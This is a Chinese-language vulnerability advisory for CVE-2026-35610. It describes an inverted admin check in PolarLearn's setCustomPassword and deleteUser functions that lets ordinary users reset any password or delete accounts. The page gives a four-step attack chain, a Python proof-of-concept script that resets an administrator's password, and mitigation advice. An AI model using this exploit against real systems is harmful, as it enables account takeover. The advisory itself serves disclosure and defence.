CVE-2026-35610 CVSS 8.8 高危

CVE-2026-35610 PolarLearn权限提升漏洞

披露日期: 2026-04-07

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-35610

漏洞类型

权限提升

CVSS评分

8.8 高危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

PolarLearn

漏洞概述

PolarLearn是一个免费开源的学习平台。在0-PRERELEASE-14及更早版本中，账户管理模块存在严重的逻辑缺陷。由于 `setCustomPassword` 和 `deleteUser` 函数使用了倒置的管理员权限检查逻辑，导致经过身份验证的非管理员用户能够执行设置任意用户密码和删除用户的特权操作，而真正的管理员反而被拒绝。这构成了直接的权限提升风险，可能造成系统完整性被破坏。

技术细节

该漏洞源于账户管理模块中的权限校验逻辑错误。开发人员在实现 `setCustomPassword(userId, password)` 和 `deleteUser(userId)` 两个关键功能时，错误地颠倒了管理员身份的判断条件。正常情况下，系统应验证当前用户是否具备管理员权限，若具备则允许执行敏感操作。然而，由于逻辑倒置（例如使用了 `!isAdmin()` 而非 `isAdmin()`），系统允许权限较低的普通用户通过身份验证后调用这些接口。攻击者只需拥有一个普通账户，即可利用此逻辑漏洞修改其他用户的密码或删除用户账户，从而完全接管系统控制权，破坏数据的机密性、完整性和可用性。

攻击链分析

STEP 1

1. 获取访问权限

攻击者注册或登录PolarLearn系统，获取一个普通非管理员用户的身份凭证（Session Token）。

STEP 2

2. 识别漏洞接口

分析前端代码或API接口，定位到账户管理模块中的 `setCustomPassword` 或 `deleteUser` 接口。

STEP 3

3. 构造恶意请求

利用倒置的权限检查逻辑，以普通用户身份构造包含目标管理员ID和恶意密码的JSON请求包，发送至服务器接口。

STEP 4

4. 执行权限提升

服务器由于逻辑错误，错误地授权了该请求，成功修改管理员密码或删除管理员账户，攻击者获得最高权限。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target configuration
target_url = "http://example.com/api/account"
attacker_session_token = "low_priv_user_session_token"
target_admin_id = "1" # ID of the victim admin

# Headers
headers = {
    "Content-Type": "application/json",
    "Cookie": f"session_id={attacker_session_token}"
}

# Payload to escalate privileges by resetting admin password
# Exploiting the inverted admin check in setCustomPassword
payload = {
    "userId": target_admin_id,
    "password": "AttackerControlledPassword123!"
}

try:
    response = requests.post(target_url, json=payload, headers=headers)
    
    if response.status_code == 200:
        print("[+] Exploit successful! Admin password has been reset.")
    else:
        print(f"[-] Exploit failed. Status code: {response.status_code}")
        print(response.text)
except Exception as e:
    print(f"[!] Error: {e}")

影响范围

PolarLearn <= 0-PRERELEASE-14

防御指南

临时缓解措施

建议立即检查代码中涉及权限判断的布尔逻辑，确保只有管理员才能调用敏感接口。在未升级前，可暂时禁用非管理员用户对账户管理功能的访问，或通过网络ACL限制API访问来源。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表